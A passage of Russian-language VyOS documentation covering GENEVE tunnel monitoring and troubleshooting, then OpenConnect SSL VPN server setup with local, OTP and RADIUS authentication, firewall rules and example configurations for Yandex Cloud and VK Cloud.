set interfaces bridge br0 member interface gnv0

# Добавить локальный интерфейс в bridge
set interfaces bridge br0 member interface eth1

commit
save
```

**Use case:** L2 extension через GENEVE tunnel

## Мониторинг и отладка

### Проверка статуса

```bash
# Общая информация
show interfaces geneve

# Детальная статистика
show interfaces geneve gnv0

# Только конфигурация
show interfaces geneve gnv0 brief
```

**Пример вывода:**

```
gnv0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450
    inet 172.16.0.1/30
    RX: bytes    packets  errors  dropped
        1048576  1024     0       0
    TX: bytes    packets  errors  dropped
        2097152  2048     0       0
```

### Packet Capture

```bash
# Захват трафика на GENEVE интерфейсе
monitor traffic interface gnv0

# Фильтр по протоколу
monitor traffic interface gnv0 filter "icmp"

# Сохранить в файл
monitor traffic interface gnv0 save /tmp/geneve-capture.pcap
```

### Debugging

```bash
# Проверить encapsulated трафик на underlay
monitor traffic interface eth0 filter "udp port 6081"

# Проверить kernel messages
show log kernel | match geneve
```

## Troubleshooting

### Проблема: GENEVE туннель не поднимается

**Диагностика:**

```bash
# 1. Проверить IP connectivity до remote endpoint
ping 203.0.113.10

# 2. Проверить что UDP 6081 не заблокирован
sudo tcpdump -i eth0 udp port 6081

# 3. Проверить routing до remote
show ip route 203.0.113.10

# 4. Проверить firewall
show firewall
```

**Типичные причины:**
- Firewall блокирует UDP 6081
- Нет IP connectivity до remote
- Неправильный source-address
- MTU problems

### Проблема: Packet Loss через туннель

**Диагностика:**

```bash
# Проверить MTU path
ping 172.16.0.2 size 1450 do-not-fragment

# Проверить фрагментацию
show interfaces geneve gnv0
# Смотреть TX/RX errors
```

**Решение:**

```bash
# Уменьшить MTU
set interfaces geneve gnv0 mtu 1400
commit

# Или включить TCP MSS clamping
set interfaces geneve gnv0 ip adjust-mss 1360
commit
```

### Проблема: Низкая производительность

**Причины:**
- Высокий overhead инкапсуляции
- CPU ограничения при encap/decap
- Network latency underlay

**Оптимизация:**

```bash
# Включить offloading если поддерживается NIC
set interfaces ethernet eth0 offload gso
set interfaces ethernet eth0 offload gro
set interfaces ethernet eth0 offload tso

# Увеличить MTU на underlay (если возможно)
set interfaces ethernet eth0 mtu 9000
set interfaces geneve gnv0 mtu 8950

commit
```

## Сравнение GENEVE vs VXLAN

| Характеристика | GENEVE | VXLAN |
|---------------|---------|--------|
| **Default UDP Port** | 6081 | 4789 |
| **Header Size** | Variable (min 8 bytes) | Fixed 8 bytes |
| **VNI Bits** | 24-bit | 24-bit |
| **Extensibility** | Yes (TLV options) | Limited |
| **Multicast Support** | Optional | Yes |
| **Metadata Support** | Yes | No |
| **OAM Support** | Built-in | External |
| **IETF Standard** | Draft | RFC 7348 |
| **Adoption** | Growing (OVN, NSX) | Wide (most vendors) |

**Когда выбрать GENEVE:**
- Нужна расширяемость (metadata, OAM)
- SDN environment (OpenStack, Kubernetes)
- Требуется передача контекста между устройствами

**Когда выбрать VXLAN:**
- Требуется широкая совместимость
- Hardware offload критичен
- Существующая VXLAN инфраструктура

## Best Practices

### 1. Планирование VNI

```bash
# Используйте логичную схему VNI allocation
# Пример:
# 1000-1999: Production networks
# 2000-2999: Development networks
# 3000-3999: Test networks
# 4000-4999: Management networks

set interfaces geneve gnv-prod remote 10.0.1.1 vni 1000
set interfaces geneve gnv-dev remote 10.0.1.1 vni 2000
set interfaces geneve gnv-test remote 10.0.1.1 vni 3000
```

### 2. MTU Configuration

```bash
# Всегда учитывайте overhead
# Формула: GENEVE MTU = Underlay MTU - 50 (IPv4) или -70 (IPv6)

# Для underlay MTU 1500
set interfaces geneve gnv0 mtu 1450

# Для Jumbo frames (MTU 9000)
set interfaces geneve gnv0 mtu 8950
```

### 3. Monitoring

```bash
# Настройте SNMP для мониторинга
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24

# Или используйте syslog для логирования
set system syslog host 192.168.1.100 facility all level info
```

### 4. Security

```bash
# Ограничьте доступ через firewall
set firewall name GENEVE-IN default-action drop
set firewall name GENEVE-IN rule 10 action accept
set firewall name GENEVE-IN rule 10 protocol udp
set firewall name GENEVE-IN rule 10 destination port 6081
set firewall name GENEVE-IN rule 10 source group network-group GENEVE-PEERS

set interfaces ethernet eth0 firewall in name GENEVE-IN
```

### 5. Documentation

```bash
# Всегда документируйте назначение туннелей
set interfaces geneve gnv0 description 'GENEVE to DC-EAST VNI:1000 Prod'
set interfaces geneve gnv1 description 'GENEVE to DC-WEST VNI:1001 Prod'
```

## Заключение

GENEVE - это современный, расширяемый протокол для network virtualization, который:

**Преимущества:**
- Гибкость через расширяемый заголовок
- Поддержка метаданных для SDN
- Совместимость с различными transport
- IETF стандартизация

**Применение:**
- Cloud overlay networks
- Multi-tenant environments
- Kubernetes/OpenStack networking
- Datacenter fabric virtualization

**Лучше всего подходит для:**
- Новых SDN/NFV deployments
- Environments требующих metadata
- Multi-vendor integration через open standard

GENEVE является отличным выбором для современных сетевых виртуализаций, особенно в контексте облачных платформ Yandex Cloud и VK Cloud, где требуется гибкая изоляция и overlay networking.

## Дополнительные ресурсы

- [GENEVE IETF Draft](https://datatracker.ietf.org/doc/html/draft-ietf-nvo3-geneve)
- [VyOS GENEVE Documentation](https://docs.vyos.io/en/latest/configuration/interfaces/geneve.html)
- [OVN and GENEVE](https://www.ovn.org/)
- [Comparing GENEVE, VXLAN and NVGRE](https://www.sdxcentral.com/)


---

# OpenConnect VPN Server - SSL VPN для Remote Access

Source: https://opennix.org/docs/vyos/vpn/vyos-openconnect/


OpenConnect VPN Server (ocserv) - это современный SSL VPN сервер, полностью совместимый с клиентами Cisco AnyConnect. Он обеспечивает безопасный remote access с использованием SSL/TLS протокола, поддерживает множество методов аутентификации включая двухфакторную (2FA) и идеально подходит для корпоративных сценариев удаленного доступа.

## Обзор

### Ключевые особенности

**Преимущества OpenConnect**:
- Полная совместимость с клиентами Cisco AnyConnect
- SSL/TLS шифрование (работает на порту TCP 443)
- Множественные методы аутентификации (локальная, RADIUS, 2FA)
- Двухфакторная аутентификация с OTP (Time-based One-Time Password)
- DTLS (Datagram TLS) для улучшенной производительности
- HTTP security headers для защиты web интерфейса
- RADIUS accounting для мониторинга сессий
- Identity-based конфигурация (per-user/per-group настройки)
- Работает через любые firewall (TCP 443, HTTPS)
- Кросс-платформенные клиенты (Windows, macOS, Linux, iOS, Android)

**OpenConnect vs другие SSL VPN**:

| Критерий | OpenConnect | OpenVPN | WireGuard |
|----------|-------------|---------|-----------|
| AnyConnect совместимость | Полная | Нет | Нет |
| Производительность | Высокая (DTLS) | Средняя | Очень высокая |
| 2FA встроенная | Да (OTP) | Через плагины | Нет |
| Работа через firewall | Отлично (443/tcp) | Хорошо | Хорошо |
| Enterprise готовность | Отлично | Хорошо | Базовая |
| Простота клиента | Отлично | Хорошо | Отлично |

### Когда использовать OpenConnect

**Идеальные сценарии**:
- Корпоративный remote access VPN для сотрудников
- Замена коммерческого Cisco AnyConnect
- Требуется двухфакторная аутентификация
- Строгие firewall ограничения (только 443/tcp доступен)
- Интеграция с RADIUS для централизованной аутентификации
- Accounting и аудит VPN сессий
- Использование существующих AnyConnect клиентов

**Не рекомендуется когда**:
- Нужна максимальная производительность (используйте WireGuard)
- Site-to-site туннели (используйте IPsec или WireGuard)
- Простые домашние сценарии (OpenVPN или WireGuard проще)

## Архитектура и компоненты

### SSL/TLS и DTLS

OpenConnect использует два протокола:

**TLS (TCP based)**:
- Control channel и data transfer
- Guaranteed delivery
- Работает через любые сети
- Используется для аутентификации

**DTLS (UDP based)**:
- Data transfer (после успешной TLS аутентификации)
- Меньше latency, лучше производительность
- Автоматический fallback на TLS при проблемах с UDP

### Методы аутентификации

OpenConnect поддерживает несколько режимов:

1. **Local Password**: Локальные пользователи с паролями
2. **RADIUS**: Централизованная аутентификация через RADIUS сервер
3. **Password + OTP**: Двухфакторная аутентификация (пароль + одноразовый код)
4. **OTP Only**: Только одноразовые пароли

### SSL Certificate

OpenConnect требует SSL сертификат для работы:

**Варианты сертификатов**:
- Self-signed сертификаты (для тестирования)
- Let's Encrypt (бесплатные, автоматическое обновление)
- Корпоративные CA сертификаты
- Коммерческие SSL сертификаты

### Network Settings

Настройки сети для клиентов:

- **Client IP Pool**: Пул IP адресов для VPN клиентов
- **DNS Servers**: DNS серверы для клиентов
- **Split Tunneling**: Маршрутизация только определенного трафика через VPN
- **Full Tunneling**: Весь трафик клиента через VPN

## Базовая конфигурация

### Подготовка SSL сертификатов

#### Self-signed сертификаты (тестирование)

```bash
# Создание CA
generate pki ca install openconnect-ca common-name "OpenConnect CA"

# Создание серверного сертификата
generate pki certificate sign openconnect-ca install openconnect-server common-name "vpn.company.com"

commit
save
```

#### Let's Encrypt сертификаты (production)

```bash
# Установка Certbot (выполните в operational mode)
sudo apt-get update
sudo apt-get install certbot

# Получение сертификата (требуется DNS A record)
sudo certbot certonly --standalone -d vpn.company.com

# Сертификаты будут в /etc/letsencrypt/live/vpn.company.com/
# fullchain.pem - полный сертификат
# privkey.pem - приватный ключ

# Импорт в VyOS PKI
configure
set pki certificate openconnect-server certificate "$(cat /etc/letsencrypt/live/vpn.company.com/fullchain.pem)"
set pki certificate openconnect-server private key "$(cat /etc/letsencrypt/live/vpn.company.com/privkey.pem)"

commit
save
```

**Автоматическое обновление Let's Encrypt**:
```bash
# Добавьте в cron для автоматического обновления
set system task-scheduler task renew-ssl executable path '/usr/bin/certbot renew --quiet'
set system task-scheduler task renew-ssl interval '7d'

commit
```

### Минимальная конфигурация с локальной аутентификацией

```bash
configure

# SSL сертификаты
set vpn openconnect ssl ca-certificate openconnect-ca
set vpn openconnect ssl certificate openconnect-server

# Локальная аутентификация
set vpn openconnect authentication mode local password
set vpn openconnect authentication local-users username alice password 'SecurePassword123!'
set vpn openconnect authentication local-users username bob password 'AnotherSecure456!'

# Сетевые настройки для клиентов
set vpn openconnect network-settings client-ip-settings subnet 10.100.0.0/24

# DNS серверы для клиентов
set vpn openconnect network-settings name-server 8.8.8.8
set vpn openconnect network-settings name-server 1.1.1.1

commit
save
```

### Проверка базовой конфигурации

```bash
# Проверить что сервис запущен
show vpn openconnect-server sessions

# Системные процессы
show system processes openconnect

# Логи
show log vpn openconnect
```

## Аутентификация

### Локальная аутентификация (Password)

Простейший метод для небольших установок.

```bash
configure

# Режим локальной аутентификации
set vpn openconnect authentication mode local password

# Добавление пользователей
set vpn openconnect authentication local-users username user1 password 'Pass123!@#'
set vpn openconnect authentication local-users username user2 password 'Secure789$%^'
set vpn openconnect authentication local-users username user3 password 'MyVPN2024&*('

# Опционально: отключить пользователя
set vpn openconnect authentication local-users username user3 disable

commit
save
```

**Рекомендации для паролей**:
- Минимум 12 символов
- Комбинация букв, цифр, специальных символов
- Регулярная смена паролей (каждые 90 дней)

### Двухфакторная аутентификация (2FA OTP)

Значительно повышает безопасность, требуя пароль + одноразовый код.

#### Режим Password + OTP

```bash
configure

# Включение 2FA (пароль + OTP)
set vpn openconnect authentication mode local password-otp

# Пользователи с паролями
set vpn openconnect authentication local-users username alice password 'SecurePass123!'
set vpn openconnect authentication local-users username bob password 'BobPass456!'

# Генерация OTP ключей для пользователей
# Выполните в operational mode:
exit
generate openconnect username alice otp-key hotp-time

# VyOS выведет QR код и ключ вида:
# OTP Key: JBSWY3DPEHPK3PXP
# Используйте QR код в приложении Google Authenticator или Authy
```

**OTP Key для пользователя**:
```bash
configure
# Установка OTP ключа вручную
set vpn openconnect authentication local-users username alice otp JBSWY3DPEHPK3PXP
set vpn openconnect authentication local-users username bob otp KRSXG5CTORHG6YLM

commit
save
```

#### Режим OTP Only

Только одноразовые коды (без паролей).

```bash
configure

# Режим только OTP
set vpn openconnect authentication mode local otp

# OTP ключи пользователей
set vpn openconnect authentication local-users username alice otp JBSWY3DPEHPK3PXP
set vpn openconnect authentication local-users username bob otp KRSXG5CTORHG6YLM

commit
save
```

**Настройка клиентского приложения**:

1. **Google Authenticator** (iOS/Android):
   - Установите приложение
   - Отсканируйте QR код от VyOS
   - Приложение будет генерировать 6-значные коды каждые 30 секунд

2. **Microsoft Authenticator** (iOS/Android):
   - Альтернатива Google Authenticator
   - Те же принципы работы

3. **Authy** (iOS/Android/Desktop):
   - Поддержка cloud backup
   - Синхронизация между устройствами

**Подключение с 2FA**:
```
Username: alice
Password: SecurePass123!123456
          ^^^^^^^^^^^^^^^^ ^^^^^^
          обычный пароль   OTP код

или в режиме password-otp через AnyConnect:
Username: alice
Password: SecurePass123!
Second Password: 123456 (OTP код)
```

### RADIUS аутентификация

Централизованная аутентификация через RADIUS сервер.

```bash
configure

# RADIUS режим
set vpn openconnect authentication mode radius

# Основной RADIUS сервер
set vpn openconnect authentication radius server 192.168.1.10
set vpn openconnect authentication radius server 192.168.1.10 key 'SharedSecret123'
set vpn openconnect authentication radius server 192.168.1.10 port 1812

# Backup RADIUS сервер
set vpn openconnect authentication radius server 192.168.1.11
set vpn openconnect authentication radius server 192.168.1.11 key 'SharedSecret123'
set vpn openconnect authentication radius server 192.168.1.11 port 1812

# Timeout (опционально)
set vpn openconnect authentication radius timeout 5

commit
save
```

**RADIUS атрибуты**:

OpenConnect отправляет:
- `User-Name`: username пользователя
- `User-Password`: пароль
- `NAS-IP-Address`: IP адрес VyOS
- `NAS-Port-Type`: Virtual
- `Service-Type`: Framed-User
- `Framed-Protocol`: PPP

**FreeRADIUS конфигурация** (на RADIUS сервере):

```
# /etc/freeradius/clients.conf
client vyos-vpn {
    ipaddr = 192.168.1.1
    secret = SharedSecret123
    shortname = vyos
}

# /etc/freeradius/users
alice Cleartext-Password := "SecurePassword"
    Reply-Message = "Welcome to VPN"

bob Cleartext-Password := "BobPassword"
```

### RADIUS Accounting

Мониторинг VPN сессий через RADIUS accounting.

```bash
configure

# Включение RADIUS accounting
set vpn openconnect accounting mode radius

# RADIUS accounting сервер
set vpn openconnect accounting radius server 192.168.1.10
set vpn openconnect accounting radius server 192.168.1.10 key 'SharedSecret123'
set vpn openconnect accounting radius server 192.168.1.10 port 1813

# Backup accounting сервер
set vpn openconnect accounting radius server 192.168.1.11
set vpn openconnect accounting radius server 192.168.1.11 key 'SharedSecret123'
set vpn openconnect accounting radius server 192.168.1.11 port 1813

commit
save
```

**RADIUS Accounting сообщения**:

OpenConnect отправляет:
- **Accounting-Start**: При подключении клиента
- **Interim-Update**: Периодически (каждые N минут)
- **Accounting-Stop**: При отключении клиента

**Атрибуты accounting**:
- `Acct-Session-Id`: Уникальный ID сессии
- `Acct-Input-Octets`: Байты входящего трафика
- `Acct-Output-Octets`: Байты исходящего трафика
- `Acct-Session-Time`: Длительность сессии в секундах
- `Framed-IP-Address`: IP адрес VPN клиента

## Сетевые настройки

### Client IP Pool

Пул IP адресов для VPN клиентов.

```bash
configure

# IPv4 subnet для клиентов
set vpn openconnect network-settings client-ip-settings subnet 10.100.0.0/24

# IPv6 subnet (опционально)
set vpn openconnect network-settings client-ipv6-pool prefix 2001:db8:100::/64
set vpn openconnect network-settings client-ipv6-pool mask 96

commit
save
```

**Планирование IP адресов**:
- Используйте приватные диапазоны (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Избегайте пересечения с существующими сетями
- Учитывайте количество одновременных пользователей
- Оставьте запас для роста

### DNS и домены

DNS серверы для VPN клиентов.

```bash
configure

# DNS серверы
set vpn openconnect network-settings name-server 192.168.1.1
set vpn openconnect network-settings name-server 8.8.8.8

# Search domain
set vpn openconnect network-settings client-ip-settings subnet 10.100.0.0/24

commit
save
```

**Варианты DNS**:
- **Внутренний DNS**: Для резолва корпоративных ресурсов
- **Публичные DNS**: Google (8.8.8.8), Cloudflare (1.1.1.1)
- **Фильтрующие DNS**: Cloudflare for Families (1.1.1.3), Quad9 (9.9.9.9)

### Split Tunneling

Маршрутизация только корпоративного трафика через VPN.

```bash
configure

# Split-include: только определенные сети через VPN
set vpn openconnect network-settings split-dns include-domains company.local
set vpn openconnect network-settings split-dns include-domains internal.local

# Маршруты через VPN (пока не поддерживается в VyOS напрямую, используйте identity-based)
# Альтернатива: настройка через опции сервера

commit
save
```

**Split tunneling через custom опции**:
```bash
configure

# Push только определенных маршрутов (для split tunneling)
# Этот функционал доступен через identity-based config или прямые опции ocserv

commit
save
```

### Full Tunneling

Весь трафик клиента через VPN.

По умолчанию OpenConnect настроен на full tunneling. Клиенты получают default route через VPN.

**Для явного указания**:
```bash
configure

# Client IP pool (автоматически включает full tunnel)
set vpn openconnect network-settings client-ip-settings subnet 10.100.0.0/24

# DNS для всех запросов
set vpn openconnect network-settings name-server 192.168.1.1

commit
save
```

**NAT для VPN клиентов** (если нужен доступ в интернет):
```bash
configure

# NAT для VPN клиентов
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 10.100.0.0/24
set nat source rule 100 translation address masquerade

commit
save
```

## Identity-Based конфигурация

Настройки для отдельных пользователей или групп.

### Per-User конфигурация

```bash
configure

# Статический IP для пользователя
set vpn openconnect network-settings client-ip-settings subnet 10.100.0.0/24

# Файл конфигурации для пользователей
# (создается через shell, так как VyOS не имеет прямого CLI)

# Для продвинутой per-user конфигурации используйте файлы в /config/
# Пример будет в разделе "Продвинутые конфигурации"

commit
save
```

### Group-Based конфигурация

```bash
configure

# Группы пользователей настраиваются через RADIUS атрибуты или файлы конфигурации

commit
save
```

## HTTP Security Headers

Защита web интерфейса OpenConnect.

```bash
configure

# HTTP security headers
set vpn openconnect listen-ports 443

commit
save
```

**Security headers** (настраиваются автоматически ocserv):
- `X-Frame-Options: DENY` - Защита от clickjacking
- `X-Content-Type-Options: nosniff` - Защита от MIME type sniffing
- `Strict-Transport-Security` - HSTS для HTTPS
- `Content-Security-Policy` - CSP для защиты от XSS

## Firewall конфигурация

Разрешение трафика для OpenConnect VPN.

```bash
configure

# Входящий трафик на VPN порт
set firewall ipv4 input filter rule 150 action accept
set firewall ipv4 input filter rule 150 destination port 443
set firewall ipv4 input filter rule 150 protocol tcp
set firewall ipv4 input filter rule 150 description 'OpenConnect VPN'

# UDP для DTLS (опционально, но рекомендуется)
set firewall ipv4 input filter rule 151 action accept
set firewall ipv4 input filter rule 151 destination port 443
set firewall ipv4 input filter rule 151 protocol udp
set firewall ipv4 input filter rule 151 description 'OpenConnect DTLS'

# Forward для VPN клиентов
set firewall ipv4 forward filter rule 250 action accept
set firewall ipv4 forward filter rule 250 source address 10.100.0.0/24
set firewall ipv4 forward filter rule 250 description 'OpenConnect clients'

# Опционально: ограничение доступа VPN клиентов
set firewall ipv4 forward filter rule 251 action accept
set firewall ipv4 forward filter rule 251 source address 10.100.0.0/24
set firewall ipv4 forward filter rule 251 destination address 192.168.0.0/16
set firewall ipv4 forward filter rule 251 description 'VPN to corporate network'

commit
save
```

## Примеры конфигураций

### Пример 1: Remote Access VPN для Yandex Cloud

**Сценарий**: Сотрудники компании получают безопасный доступ к ресурсам в Yandex Cloud через OpenConnect VPN с двухфакторной аутентификацией.

**Топология**:
```
Internet
    |
    | (публичный IP)
    |
[VyOS OpenConnect VPN Server]
    | (внутренний IP)
    |
    |--- Yandex Cloud Internal Network (10.0.0.0/16)
          |
          |--- Web Server (10.0.1.10)
          |--- Database Server (10.0.2.20)
          |--- Application Server (10.0.3.30)
```

**Требования**:
- 50 удаленных сотрудников
- Двухфакторная аутентификация (пароль + OTP)
- Split tunneling (только Yandex Cloud трафик через VPN)
- Let's Encrypt SSL сертификат
- RADIUS accounting для аудита

**Конфигурация**:

```bash
configure

# SSL сертификаты (Let's Encrypt)
# Предварительно получите сертификат через Certbot
set pki certificate yc-vpn-server certificate "$(cat /etc/letsencrypt/live/vpn.yandex-cloud.example.com/fullchain.pem)"
set pki certificate yc-vpn-server private key "$(cat /etc/letsencrypt/live/vpn.yandex-cloud.example.com/privkey.pem)"

set vpn openconnect ssl ca-certificate yc-vpn-server
set vpn openconnect ssl certificate yc-vpn-server

# Аутентификация: локальная с 2FA
set vpn openconnect authentication mode local password-otp

# Пользователи с паролями и OTP
set vpn openconnect authentication local-users username admin password 'AdminSecure2024!'
set vpn openconnect authentication local-users username admin otp JBSWY3DPEHPK3PXP

set vpn openconnect authentication local-users username developer1 password 'DevPass123!@#'
set vpn openconnect authentication local-users username developer1 otp KRSXG5CTORHG6YLM

set vpn openconnect authentication local-users username manager1 password 'MgrPass456$%^'
set vpn openconnect authentication local-users username manager1 otp MFRGG2LFNFZXS4TP

# IP pool для клиентов (не пересекается с Yandex Cloud 10.0.0.0/16)
set vpn openconnect network-settings client-ip-settings subnet 10.100.0.0/24

# DNS серверы (внутренний Yandex Cloud DNS + публичный)
set vpn openconnect network-settings name-server 10.0.0.2
set vpn openconnect network-settings name-server 8.8.8.8

# RADIUS accounting (опционально)
set vpn openconnect accounting mode radius
set vpn openconnect accounting radius server 10.0.10.50
set vpn openconnect accounting radius server 10.0.10.50 key 'YandexCloudRADIUS2024'
set vpn openconnect accounting radius server 10.0.10.50 port 1813

# Порт (TCP 443)
set vpn openconnect listen-ports 443

# Firewall: разрешить VPN трафик
set firewall ipv4 input filter rule 150 action accept
set firewall ipv4 input filter rule 150 destination port 443
set firewall ipv4 input filter rule 150 protocol tcp
set firewall ipv4 input filter rule 150 description 'OpenConnect TCP'

set firewall ipv4 input filter rule 151 action accept
set firewall ipv4 input filter rule 151 destination port 443
set firewall ipv4 input filter rule 151 protocol udp
set firewall ipv4 input filter rule 151 description 'OpenConnect DTLS'

# Forward для VPN клиентов к Yandex Cloud сети
set firewall ipv4 forward filter rule 250 action accept
set firewall ipv4 forward filter rule 250 source address 10.100.0.0/24
set firewall ipv4 forward filter rule 250 destination address 10.0.0.0/16
set firewall ipv4 forward filter rule 250 description 'VPN to Yandex Cloud'

# Блокировка VPN client-to-client (безопасность)
set firewall ipv4 forward filter rule 259 action drop
set firewall ipv4 forward filter rule 259 source address 10.100.0.0/24
set firewall ipv4 forward filter rule 259 destination address 10.100.0.0/24

# NAT для интернет доступа VPN клиентов (опционально)
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 10.100.0.0/24
set nat source rule 100 translation address masquerade

commit
save
```

**Генерация OTP ключей для пользователей**:
```bash
# Выполните в operational mode для каждого пользователя
generate openconnect username admin otp-key hotp-time
generate openconnect username developer1 otp-key hotp-time
generate openconnect username manager1 otp-key hotp-time

# Отправьте QR коды пользователям для настройки Google Authenticator
```

**Проверка**:
```bash
# Статус сервера
show vpn openconnect-server sessions

# Логи подключений
show log vpn openconnect

# RADIUS accounting (если настроено)
# Проверьте на RADIUS сервере
```

**Клиентская конфигурация** (Cisco AnyConnect):
```
Server: vpn.yandex-cloud.example.com
Username: developer1
Password: DevPass123!@#123456
          ^^^^^^^^^^^^^^ ^^^^^^
          пароль         OTP код
```

### Пример 2: SSL VPN для VK Cloud

**Сценарий**: OpenConnect VPN для доступа к ресурсам VK Cloud с RADIUS аутентификацией и полным туннелированием (весь трафик через VPN).

**Топология**:
```
Internet
    |
    | (публичный IP)
    |
[VyOS OpenConnect VPN Server] ---- [RADIUS Server]
    |                                  (192.168.10.50)
    | (внутренний IP)
    |
    |--- VK Cloud Network (192.168.0.0/16)
          |
          |--- Application Servers (192.168.10.0/24)
          |--- Database Cluster (192.168.20.0/24)
          |--- Storage (192.168.30.0/24)
```

**Требования**:
- 100 пользователей (RADIUS аутентификация)
- Full tunneling (весь трафик через VPN)
- RADIUS accounting
- Self-signed сертификаты (внутреннее использование)
- DNS фильтрация (Cloudflare for Families)

**Конфигурация**:

```bash
configure

# Генерация self-signed сертификатов
# В operational mode:
exit
generate pki ca install vkcloud-vpn-ca common-name "VK Cloud VPN CA"
generate pki certificate sign vkcloud-vpn-ca install vkcloud-vpn-server common-name "vpn.vkcloud.local"

configure

# SSL конфигурация
set vpn openconnect ssl ca-certificate vkcloud-vpn-ca
set vpn openconnect ssl certificate vkcloud-vpn-server

# RADIUS аутентификация
set vpn openconnect authentication mode radius

# Primary RADIUS сервер
set vpn openconnect authentication radius server 192.168.10.50
set vpn openconnect authentication radius server 192.168.10.50 key 'VKCloudRADIUS2024SecretKey'
set vpn openconnect authentication radius server 192.168.10.50 port 1812

# Backup RADIUS сервер
set vpn openconnect authentication radius server 192.168.10.51
set vpn openconnect authentication radius server 192.168.10.51 key 'VKCloudRADIUS2024SecretKey'
set vpn openconnect authentication radius server 192.168.10.51 port 1812

# RADIUS timeout
set vpn openconnect authentication radius timeout 5

# RADIUS Accounting
set vpn openconnect accounting mode radius
set vpn openconnect accounting radius server 192.168.10.50
set vpn openconnect accounting radius server 192.168.10.50 key 'VKCloudRADIUS2024SecretKey'
set vpn openconnect accounting radius server 192.168.10.50 port 1813

set vpn openconnect accounting radius server 192.168.10.51
set vpn openconnect accounting radius server 192.168.10.51 key 'VKCloudRADIUS2024SecretKey'
set vpn openconnect accounting radius server 192.168.10.51 port 1813

# IP pool для клиентов
set vpn openconnect network-settings client-ip-settings subnet 10.200.0.0/24

# DNS серверы (Cloudflare for Families - фильтрация malware)
set vpn openconnect network-settings name-server 1.1.1.3
set vpn openconnect network-settings name-server 1.0.0.3

# Порт
set vpn openconnect listen-ports 443

# Firewall правила
set firewall ipv4 input filter rule 160 action accept
set firewall ipv4 input filter rule 160 destination port 443
set firewall ipv4 input filter rule 160 protocol tcp
set firewall ipv4 input filter rule 160 description 'OpenConnect SSL VPN'

set firewall ipv4 input filter rule 161 action accept
set firewall ipv4 input filter rule 161 destination port 443
set firewall ipv4 input filter rule 161 protocol udp
set firewall ipv4 input filter rule 161 description 'OpenConnect DTLS'

# Forward для VPN клиентов ко всей VK Cloud сети
set firewall ipv4 forward filter rule 260 action accept
set firewall ipv4 forward filter rule 260 source address 10.200.0.0/24
set firewall ipv4 forward filter rule 260 description 'VPN clients to VK Cloud'

# NAT для full tunneling (интернет через VPN)
set nat source rule 110 outbound-interface name eth0
set nat source rule 110 source address 10.200.0.0/24
set nat source rule 110 translation address masquerade

commit
save
```

**FreeRADIUS конфигурация** (на RADIUS сервере 192.168.10.50):

```bash
# /etc/freeradius/3.0/clients.conf
client vkcloud-vpn {
    ipaddr = 192.168.10.1
    secret = VKCloudRADIUS2024SecretKey
    shortname = vyos-vpn
}

# /etc/freeradius/3.0/users
alice Cleartext-Password := "AliceSecure123"
    Reply-Message = "Welcome to VK Cloud VPN, Alice"

bob Cleartext-Password := "BobPassword456"
    Reply-Message = "Welcome to VK Cloud VPN, Bob"

charlie Cleartext-Password := "CharliePass789"
    Reply-Message = "Welcome to VK Cloud VPN, Charlie"
```

**Проверка**:
```bash
# Сессии VPN
show vpn openconnect-server sessions

# Accounting на RADIUS сервере
radclient -x 192.168.10.50:1813 status VKCloudRADIUS2024SecretKey
```

### Пример 3: Enterprise VPN с 2FA для корпоративного доступа

**Сценарий**: Корпоративный OpenConnect VPN с жесткими требованиями безопасности: обязательная 2FA, accounting, ограничение доступа по времени, детальное логирование.

**Требования**:
- Двухфакторная аутентификация (Password + OTP)
- Let's Encrypt SSL сертификаты
- RADIUS accounting для мониторинга
- Split tunneling (только корпоративные ресурсы)
- Ограничение доступа к определенным сегментам сети
- Детальное логирование и аудит

**Конфигурация**:

```bash
configure

# SSL сертификаты (Let's Encrypt)
set pki certificate corporate-vpn certificate "$(cat /etc/letsencrypt/live/vpn.corporation.com/fullchain.pem)"
set pki certificate corporate-vpn private key "$(cat /etc/letsencrypt/live/vpn.corporation.com/privkey.pem)"

set vpn openconnect ssl ca-certificate corporate-vpn
set vpn openconnect ssl certificate corporate-vpn

# 2FA аутентификация (Password + OTP)
set vpn openconnect authentication mode local password-otp

# Административные пользователи
set vpn openconnect authentication local-users username admin password 'Admin2FA2024!@#$'
set vpn openconnect authentication local-users username admin otp JBSWY3DPEHPK3PXP

# IT отдел
set vpn openconnect authentication local-users username it_user1 password 'ITSecure123!@#'
set vpn openconnect authentication local-users username it_user1 otp KRSXG5CTORHG6YLM

set vpn openconnect authentication local-users username it_user2 password 'ITSecure456$%^'
set vpn openconnect authentication local-users username it_user2 otp MFRGG2LFNFZXS4TP

# Финансовый отдел (ограниченный доступ)
set vpn openconnect authentication local-users username finance_user1 password 'FinPass789&*('
set vpn openconnect authentication local-users username finance_user1 otp GEZDGNBVGY3TQOJQ

# IP pool для VPN клиентов
set vpn openconnect network-settings client-ip-settings subnet 10.150.0.0/24

# DNS серверы (внутренний корпоративный)
set vpn openconnect network-settings name-server 192.168.100.10
set vpn openconnect network-settings name-server 192.168.100.11

# RADIUS Accounting
set vpn openconnect accounting mode radius
set vpn openconnect accounting radius server 192.168.100.50
set vpn openconnect accounting radius server 192.168.100.50 key 'CorporateRADIUS2024'
set vpn openconnect accounting radius server 192.168.100.50 port 1813

# Порт
set vpn openconnect listen-ports 443

# Firewall: входящий VPN трафик
set firewall ipv4 input filter rule 170 action accept
set firewall ipv4 input filter rule 170 destination port 443
set firewall ipv4 input filter rule 170 protocol tcp

set firewall ipv4 input filter rule 171 action accept
set firewall ipv4 input filter rule 171 destination port 443
set firewall ipv4 input filter rule 171 protocol udp

# Firewall: VPN клиенты к корпоративным серверам
set firewall ipv4 forward filter rule 270 action accept
set firewall ipv4 forward filter rule 270 source address 10.150.0.0/24
set firewall ipv4 forward filter rule 270 destination address 192.168.100.0/24
set firewall ipv4 forward filter rule 270 description 'VPN to corporate servers'

# Firewall: VPN клиенты к приложениям
set firewall ipv4 forward filter rule 271 action accept
set firewall ipv4 forward filter rule 271 source address 10.150.0.0/24
set firewall ipv4 forward filter rule 271 destination address 192.168.200.0/24
set firewall ipv4 forward filter rule 271 description 'VPN to applications'

# Firewall: ограничение доступа финансового отдела
# (предполагается использование per-user firewall или RADIUS атрибутов)

# Заблокировать все остальное от VPN клиентов
set firewall ipv4 forward filter rule 279 action drop
set firewall ipv4 forward filter rule 279 source address 10.150.0.0/24
set firewall ipv4 forward filter rule 279 description 'Block unauthorized VPN access'

